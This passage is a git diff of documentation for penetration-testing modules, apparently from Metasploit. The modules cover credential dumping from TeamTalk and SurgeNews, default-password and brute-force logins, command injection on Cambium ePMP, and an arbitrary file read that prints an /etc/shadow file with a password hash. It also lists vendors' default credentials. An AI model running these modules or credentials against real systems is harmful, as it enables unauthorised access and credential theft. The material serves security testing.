+  [TeamTalk 5](http://www.bearware.dk/) is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.
+
+  This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
+
+  The TeamTalk software is available on the [BearWare website](http://www.bearware.dk/) and on [GitHub](https://github.com/BearWare/TeamTalk5).
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use auxiliary/gather/teamtalk_creds`
+  3. Do: `set rhost <RHOST>`
+  4. Do: `set rport <RPORT>` (default: `10333`)
+  5. Do: `set username <USERNAME>` (default: `admin`)
+  6. Do: `set password <PASSWORD>` (default: `admin`)
+  7. Do: `run`
+  8. You should get credentials
+
+
+## Scenarios
+
+  ```
+  [*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
+  [+] 172.16.191.166:10333 - Authenticated successfully
+  [+] 172.16.191.166:10333 - User is an administrator
+  [*] 172.16.191.166:10333 - Found 5 users
+
+  TeamTalk User Credentials
+  =========================
+
+   Username  Password                     Type
+   --------  --------                     ----
+   debbie    1234567890                   1
+   murphy    934txs                       2
+   quinn     ~!@#$%^&*()_+{}|:" <>?;',./  2
+   sparks    password                     2
+   stormy                                 1
+
+  [+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
+  [*] Auxiliary module execution completed
+  ```
+
diff --git a/documentation/modules/auxiliary/scanner/ftp/anonymous.md b/documentation/modules/auxiliary/scanner/ftp/anonymous.md
index dbb0f5b27d..f36a25ff6c 100644
--- a/documentation/modules/auxiliary/scanner/ftp/anonymous.md
+++ b/documentation/modules/auxiliary/scanner/ftp/anonymous.md
@@ -57,9 +57,9 @@ This module allows us to scan through a series of IP Addresses and provide detai
 3. Do: ```set RPORT [IP]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
-### On vsFTPd 3.0.3 on Kali
+### vsFTPd 3.0.3 on Kali
 
 ```
 msf > use auxiliary/scanner/ftp/anonymous
diff --git a/documentation/modules/auxiliary/scanner/ftp/ftp_login.md b/documentation/modules/auxiliary/scanner/ftp/ftp_login.md
index 9d6c7a671d..f9eadd3a64 100644
--- a/documentation/modules/auxiliary/scanner/ftp/ftp_login.md
+++ b/documentation/modules/auxiliary/scanner/ftp/ftp_login.md
@@ -47,7 +47,8 @@ This module will test FTP logins on a range of machines and report successful lo
 3. Do: ```set RPORT [IP]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
+
 ```
 msf> use auxiliary/scanner/ftp/ftp_login
 msf auxiliary(ftp_login) > set RHOSTS ftp.openbsd.org
diff --git a/documentation/modules/auxiliary/scanner/ftp/ftp_version.md b/documentation/modules/auxiliary/scanner/ftp/ftp_version.md
index 86e9b01cae..60347345d4 100644
--- a/documentation/modules/auxiliary/scanner/ftp/ftp_version.md
+++ b/documentation/modules/auxiliary/scanner/ftp/ftp_version.md
@@ -47,9 +47,9 @@ This module allows us to scan through a series of IP Addresses and provide detai
 3. Do: ```set RPORT [IP]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
-### On vsFTPd 3.0.3 on Kali
+### vsFTPd 3.0.3 on Kali
 
 ```
 msf > use auxiliary/scanner/ftp/ftp_version
diff --git a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md
index cdfc0f1acb..727e28d2f4 100644
--- a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md
+++ b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md
@@ -1,4 +1,13 @@
-This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
+This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials.
+There are four (4) default accounts:
+
+1. root/root
+2. admin/1
+3. alg/1
+4. user/1
+
+In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file.
+The module attempts to download configuration and password files depending on the login user credentials found.
 
 ## Verification Steps
 
@@ -7,7 +16,7 @@ This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Qual
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/http/binom3_login_config_pass_dump
diff --git a/documentation/modules/auxiliary/scanner/http/buildmaster_login.md b/documentation/modules/auxiliary/scanner/http/buildmaster_login.md
new file mode 100644
index 0000000000..0402f34ef0
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/buildmaster_login.md
@@ -0,0 +1,59 @@
+## Description
+
+This module allows you to authenticate to Inedo BuildMaster, an application release automation tool.
+The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution.
+
+## Vulnerable Application
+
+[Inedo's Windows installation guide](http://inedo.com/support/documentation/buildmaster/installation/windows-guide)
+
+[Inedo website](http://inedo.com/)
+
+## Verification Steps
+
+1. Do: ```use auxiliary/scanner/http/buildmaster_login```
+2. Do: ```set RHOSTS [IP]```
+3. Do: ```set RPORT [PORT]```
+4. Do: Set credentials
+5. Do: ```run```
+6. You should see the module attempting to log in.
+
+## Scenarios
+
+### Attempt to login with the default credentials.
+
+```
+msf > use auxiliary/scanner/http/buildmaster_login
+msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
+RHOSTS => 10.0.0.39
+msf auxiliary(buildmaster_login) > run
+
+[+] 10.0.0.39:81          - Identified BuildMaster 5.7.3 (Build 1)
+[*] 10.0.0.39:81          - Trying username:"Admin" with password:"Admin"
+[+] SUCCESSFUL LOGIN - 10.0.0.39:81          - "Admin":"Admin"
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(buildmaster_login) >
+```
+
+### Brute force with credentials from file.
+
+```
+msf > use auxiliary/scanner/http/buildmaster_login 
+msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
+RHOSTS => 10.0.0.39
+msf auxiliary(buildmaster_login) > set USERPASS_FILE ~/BuildMasterCreds.txt
+USERPASS_FILE => ~/BuildMasterCreds.txt
+msf auxiliary(buildmaster_login) > run
+
+[+] 10.0.0.39:81          - Identified BuildMaster 5.7.3 (Build 1)
+[*] 10.0.0.39:81          - Trying username:"Admin" with password:"test"
+[-] FAILED LOGIN - 10.0.0.39:81          - "Admin":"test"
+[*] 10.0.0.39:81          - Trying username:"Admin" with password:"wrong"
+[-] FAILED LOGIN - 10.0.0.39:81          - "Admin":"wrong"
+[*] 10.0.0.39:81          - Trying username:"Admin" with password:"Admin"
+[+] SUCCESSFUL LOGIN - 10.0.0.39:81          - "Admin":"Admin"
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(buildmaster_login) > 
+```
diff --git a/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md b/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md
index 49801c5f45..dbc813c245 100644
--- a/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md
+++ b/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md
@@ -6,9 +6,9 @@ This module is a scanner which enumerates Google Chromecast via its HTTP interfa
 2. Do: ```set RHOSTS [IP]```
 3. Do: ```run```
 
-## Sample Output
+## Scenarios
 
-Of note, all 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular)
+### All 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular)
 
 ```
 msf > use auxiliary/scanner/http/chromecast_webserver 
diff --git a/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md b/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md
index b9e2e88091..44584372fd 100644
--- a/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md
+++ b/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md
@@ -6,9 +6,9 @@ This module is a scanner which enumerates WiFi access points visible from a Goog
 2. Do: ```set RHOSTS [IP]```
 3. Do: ```run```
 
-## Sample Output
+## Scenarios
 
-Of note, all 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular)
+### All 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular)
 
 ```
 msf > use auxiliary/scanner/http/chromecast_wifi 
diff --git a/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md b/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md
index 1a0a10b5f6..7a56164b27 100644
--- a/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md
+++ b/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md
@@ -17,7 +17,7 @@ https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=2862
 
 1. Make sure Cisco Firepower Management console's HTTPS service is running
 2. Start ```msfconsole```
-3. ```use auxiliary/scanner/http/cisco_firepower_login.rb
+3. ```use auxiliary/scanner/http/cisco_firepower_login.rb```
 4. ```set RHOSTS [IP]```
 5. Set credentials
 6. ```run```
diff --git a/documentation/modules/auxiliary/scanner/http/crawler.md b/documentation/modules/auxiliary/scanner/http/crawler.md
index 0dedb947c3..3ef998b739 100644
--- a/documentation/modules/auxiliary/scanner/http/crawler.md
+++ b/documentation/modules/auxiliary/scanner/http/crawler.md
@@ -34,9 +34,10 @@ You can use any web application to test the crawler.
 4. Do: ```set URI [PATH]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ### Example against [WebGoat](https://github.com/WebGoat/WebGoat)
+
 ```
 msf> use auxiliary/scanner/http/crawler
 msf auxiliary(crawler) > set RHOST 127.0.0.1
diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md b/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md
index 1bd59c1165..7349610721 100755
--- a/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md
+++ b/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md
@@ -1,4 +1,9 @@
-This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
+This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal.
+It requires any one of the following login credentials to execute arbitrary system commands:
+
+1. admin/admin
+2. installer/installer
+3. home/home
 
 ## Verification Steps
 
@@ -7,7 +12,7 @@ This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/http/epmp1000_cmd_exec
diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md
index a10082cce2..c7a42c8a69 100644
--- a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md
+++ b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md
@@ -1,4 +1,5 @@
-This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
+This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly.
+This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
 
 ## Verification Steps
 
@@ -7,7 +8,7 @@ This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/http/epmp1000_dump_config
diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md
index 6ff25406ec..cb1a7cdc5f 100644
--- a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md
+++ b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md
@@ -1,4 +1,9 @@
-This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
+This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal.
+It requires any one of the following login credentials to dump system hashes:
+
+1. admin/admin
+2. installer/installer
+3. home/home
 
 ## Verification Steps
 
@@ -7,7 +12,7 @@ This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/http/epmp1000_dump_hashes
diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md b/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md
index 8c90ba0351..34271d7913 100644
--- a/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md
+++ b/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md
@@ -1,4 +1,5 @@
-This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly.
+This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials.
+Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly.
 
 ## Verification Steps
 
@@ -7,7 +8,7 @@ This module scans for Cambium ePMP 1000 management login portal(s), and attempts
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/http/epmp1000_web_login
diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md
index 357b0fb84d..b6a63b1c8c 100644
--- a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md
+++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md
@@ -1,11 +1,13 @@
-This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication.
+This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration.
+A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication.
 
-The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics.
+The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db.
+This db file contains information such as power/energy utilization data, tariffs, and revenue statistics.
 
 Vulnerable firmware versions include:
 
-VMU-C EM prior to firmware Version A11_U05
-VMU-C PV prior to firmware Version A17.
+* VMU-C EM prior to firmware Version A11_U05
+* VMU-C PV prior to firmware Version A17.
 
 ## Verification Steps
 
@@ -14,7 +16,7 @@ VMU-C PV prior to firmware Version A17.
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/http/gavazzi_em_login_loot
diff --git a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md
index a1eba6a6c9..904c63465a 100644
--- a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md
+++ b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md
@@ -1,4 +1,5 @@
-Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability. The module exploits this vulnerability to remotely extract Administrator password for the device management portal.
+Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability.
+The module exploits this vulnerability to remotely extract Administrator password for the device management portal.
 
 Note: In some versions, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Manual verification will be required in such cases.
 
@@ -9,7 +10,7 @@ Note: In some versions, 'Website password' page is renamed or not present. There
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin
diff --git a/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md b/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md
index 2a525fb316..b7fbd69b40 100755
--- a/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md
+++ b/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md
@@ -11,7 +11,8 @@ This module dumps memory contents using a crafted Range header and affects only
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
+
 ```
 msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
 msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125
diff --git a/documentation/modules/auxiliary/scanner/http/owa_ews_login.md b/documentation/modules/auxiliary/scanner/http/owa_ews_login.md
index 383fede571..5c4e71880e 100644
--- a/documentation/modules/auxiliary/scanner/http/owa_ews_login.md
+++ b/documentation/modules/auxiliary/scanner/http/owa_ews_login.md
@@ -1,4 +1,5 @@
-This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. It is typically faster than the traditional form-based OWA login method.
+This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS.
+It is typically faster than the traditional form-based OWA login method.
 
 ## Verification Steps
 
@@ -7,7 +8,7 @@ This module is for password guessing against OWA's EWS service which often expos
 3. Set TARGETURI if necessary.
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ```
 msf auxiliary(owa_ews_login) > run
diff --git a/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md b/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md
new file mode 100644
index 0000000000..e88b6ee725
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md
@@ -0,0 +1,57 @@
+This module exploits an authenticated arbitrary file read in the log module's filter engine.
+
+## Vulnerable Application
+
+The application is available for a 90 day evaluation after free registration from
+[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html).  
+Downloads are available for Hyper-V, ESX(i), and KVM.  Installation is straight forward, initial login is `admin`/`password`.
+If need be from cli, to show the IP address of the device: `show interfaces primary`
+
+This module was successfully tested against:
+
+- SteelHead VCX (VCX255U) 9.6.0a
+
+## Verification Steps
+
+1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read```
+2. Do: ```set RHOSTS [IP]```
+3. Set TARGETURI if necessary.
+3. Set FILE if necessary.
+3. Set USERNAME if necessary.
+3. Set PASSWORD if necessary.
+4. Do: ```run```
+
+## Scenarios
+
+### SteelHead VCX255u 9.6.0a running on ESXi
+
+```
+resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
+resource (riverbed.rc)> set rhosts 192.168.2.198
+rhosts => 192.168.2.198
+resource (riverbed.rc)> set verbose true
+verbose => true
+resource (riverbed.rc)> run
+[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
+[+] Authenticated Successfully
+[+] File Contents:
+admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
+administrator:*:10000:0:99999:7:::
+apache:*:10000:0:99999:7:::
+localvixuser:*:10000:0:99999:7:::
+named:*:10000:0:99999:7:::
+nobody:*:10000:0:99999:7:::
+ntp:*:10000:0:99999:7:::
+pcap:*:10000:0:99999:7:::
+postgres:*:10000:0:99999:7:::
+rcud:*:10000:0:99999:7:::
+root:*:10000:0:99999:7:::
+rpc:*:10000:0:99999:7:::
+shark:*:10000:0:99999:7:::
+sshd:*:10000:0:99999:7:::
+statsd:*:10000:0:99999:7:::
+webproxy::10000:0:99999:7:::
+[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
\ No newline at end of file
diff --git a/documentation/modules/auxiliary/scanner/http/robots_txt.md b/documentation/modules/auxiliary/scanner/http/robots_txt.md
index 4161a04914..f830e1b696 100644
--- a/documentation/modules/auxiliary/scanner/http/robots_txt.md
+++ b/documentation/modules/auxiliary/scanner/http/robots_txt.md
@@ -25,7 +25,8 @@ is extremely common.
 You can set the test path where the scanner will try to find `robots.txt` file.
 Default is `/`
 
-## Sample Output
+## Scenarios
+
 ```
 msf> use auxiliary/scanner/http/robots_txt
 msf auxiliary(robots_txt) > set RHOSTS 172.217.19.238
diff --git a/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md b/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md
new file mode 100644
index 0000000000..d34b05a61a
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md
@@ -0,0 +1,70 @@
+## Description
+
+  This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files.
+
+  This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users.
+
+
+## Vulnerable Application
+
+  [SurgeNews](http://netwinsite.com/surgenews/) is a high performance, fully threaded, next generation News Server with integrated WebNews interface.
+
+  This module has been tested successfully on:
+
+  * SurgeNews version 2.0a-13 on Windows 7 SP 1.
+  * SurgeNews version 2.0a-12 on Ubuntu Linux.
+
+  Installers:
+
+  * [SurgeNews Installers](http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgenews)
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use auxiliary/scanner/http/surgenews_user_creds`
+  3. Do: `set rhosts [IP]`
+  4. Do: `run`
+  5. You should get credentials
+
+
+## Scenarios
+
+  ```
+  msf > use auxiliary/scanner/http/surgenews_user_creds 
+  msf auxiliary(surgenews_user_creds) > set rhosts 172.16.191.133 172.16.191.166
+  rhosts => 172.16.191.133 172.16.191.166
+  msf auxiliary(surgenews_user_creds) > run
+
+  [+] Found administrator credentials (admin:admin)
+
+  SurgeNews User Credentials
+  ==========================
+
+   Username   Password  Password Hash                           Admin
+   --------   --------  -------------                           -----
+   admin      admin                                             true
+   qwerty@bt            {ssha}BuFLjIFUUSy1IltX3AuN420qV2ZFU7EL  false
+   user@bt              {ssha}HFTkDsnNlLiaHN+sIS9VQarVGGXmYISn  false
+
+  [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.133_surgenews.user.c_633569.txt
+  [*] Scanned 1 of 2 hosts (50% complete)
+  [+] Found administrator credentials (test:test)
+  [+] Found user credentials (zxcv@win-sgbsd5tqutq:zxcv)
+
+  SurgeNews User Credentials
+  ==========================
+
+   Username              Password  Password Hash                           Admin
+   --------              --------  -------------                           -----
+   asdf@win-sgbsd5tqutq            {ssha}8ytixKjxf3kaBc6T471R1Re/C8MUnKnF  false
+   test                  test                                              true
+   test@win-sgbsd5tqutq            {ssha}Vw8EkFxAJuiZrb98Fz+sdr/yEEmBZ2Jc  false
+   test@win-sgbsd5tqutq            {ssha}j4teSf4CgA3+XVRJscFHyqoOQJRoLg4K  false
+   zxcv@win-sgbsd5tqutq  zxcv                                              false
+
+  [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.166_surgenews.user.c_077983.txt
+  [*] Scanned 2 of 2 hosts (100% complete)
+  [*] Auxiliary module execution completed
+  ```
+
diff --git a/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md
index 1c5101c640..c8943fdc43 100644
--- a/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md
+++ b/documentation/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.md
@@ -9,7 +9,7 @@ The vulnerability is due to insufficient condition checks in the part of the cod
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ```
 msf auxiliary(cisco_ike_benigncertain) > show options
diff --git a/documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md b/documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md
new file mode 100644
index 0000000000..ab67460db7
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md
@@ -0,0 +1,30 @@
+## Vulnerable Application
+
+  Any system exposing the Cisco Smart Install (SMI) protocol, which typically runs on TCP port 4786.
+
+## Verification Steps
+
+  1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
+  2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
+  3. Do: ```run```
+  4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
+
+
+## Scenarios
+
+  ```
+msf auxiliary(cisco_smart_install) > run
+
+[*] Scanned  57 of 512 hosts (11% complete)
+[*] Scanned 105 of 512 hosts (20% complete)
+[*] Scanned 157 of 512 hosts (30% complete)
+[*] Scanned 212 of 512 hosts (41% complete)
+[*] Scanned 256 of 512 hosts (50% complete)
+[*] Scanned 310 of 512 hosts (60% complete)
+[*] Scanned 368 of 512 hosts (71% complete)
+[*] Scanned 413 of 512 hosts (80% complete)
+[*] Scanned 466 of 512 hosts (91% complete)
+[+] a.b.c.d:4786   - Fingerprinted the Cisco Smart Install protocol
+[*] Scanned 512 of 512 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
diff --git a/documentation/modules/auxiliary/scanner/nntp/nntp_login.md b/documentation/modules/auxiliary/scanner/nntp/nntp_login.md
new file mode 100644
index 0000000000..dbeda3730c
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/nntp/nntp_login.md
@@ -0,0 +1,42 @@
+## Description
+
+  This module attempts to authenticate to NNTP services which support the AUTHINFO authentication extension.
+
+  This module supports AUTHINFO USER/PASS authentication, but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods.
+
+  If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
+
+
+## Vulnerable Application
+
+  This module has been tested successfully on:
+
+  * [SurgeNews](http://netwinsite.com/surgenews/) on Windows 7 SP 1.
+  * [SurgeNews](http://netwinsite.com/surgenews/) on Ubuntu Linux.
+  * [INN2](https://www.eyrie.org/~eagle/faqs/inn.html) on Debian Linux.
+
+
+## Verification Steps
+
+  1. Do: `use auxiliary/scanner/nntp/nntp_login`
+  2. Do: `set RHOSTS [IP]`
+  3. Do: `set RPORT [IP]`
+  4. Do: `run`
+
+
+## Scenarios
+
+  ```
+  msf auxiliary(nntp_login) > run
+
+  [+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'asdf' : 'asdf'
+  [+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'zxcv' : 'zxcv'
+  [+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'test' : 'test'
+  [*] Scanned 1 of 2 hosts (50% complete)
+  [+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'asdf' : 'asdf'
+  [+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'admin' : 'admin'
+  [+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'user' : 'pass'
+  [*] Scanned 2 of 2 hosts (100% complete)
+  [*] Auxiliary module execution completed
+  ```
+
diff --git a/documentation/modules/auxiliary/scanner/portscan/syn.md b/documentation/modules/auxiliary/scanner/portscan/syn.md
new file mode 100644
index 0000000000..751590b95f
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/portscan/syn.md
@@ -0,0 +1,59 @@
+## Description
+  
+This module will attempt to initiate a TCP/IP connection with ports on the victim machine. It is this done by sending a SYN packet, and if victim replies with a SYN/ACK packet 
+that means the port is open. Then the attacker sends a RST packet, and as a result the victim's machine assumes that there is a communication error. 
+The attacker now knows the state of port without a full tcp connection. Major benefit of TCP SYN scan is that most logging applications do not log the TCP/RST by default.
+
+## Options
+
+  **PORTS**
+  
+  This is the list of TCP ports to test on each host.
+  Formats like  `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
+  options is to scan `1-10000` ports.
+
+  **TIMEOUT**
+  
+   Maximum time to wait for a response. The default value is 500 milliseconds.
+  
+  **VERBOSE**
+  
+  Gives detailed message about the scan of all the ports. It also shows the
+  ports that were closed.
+
+## Verification Steps
+
+  1. Do: `use auxiliary/scanner/portscan/syn`
+  2. Do: `set RHOSTS [IP]`
+  3. Do: `set PORTS [PORTS]`
+  4. Do: `run`
+  5. If any of the TCP ports were open they will be discovered, status will be printed indicating as such.
+
+## Scenarios
+  
+### Metaspliotable 2
+
+```
+msf > use auxiliary/scanner/portscan/syn
+msf auxiliary(syn) > set RHOSTS 192.168.45.159
+RHOSTS => 192.168.45.159
+msf auxiliary(syn) > set PORTS 1-10000
+PORTS => 1-10000
+msf auxiliary(syn) > run
+[*]  TCP OPEN 192.168.45.159:22
+[*]  TCP OPEN 192.168.45.159:23
+[*]  TCP OPEN 192.168.45.159:111
+[*]  TCP OPEN 192.168.45.159:445
+[*]  TCP OPEN 192.168.45.159:512
+[*]  TCP OPEN 192.168.45.159:513
+[*]  TCP OPEN 192.168.45.159:1099
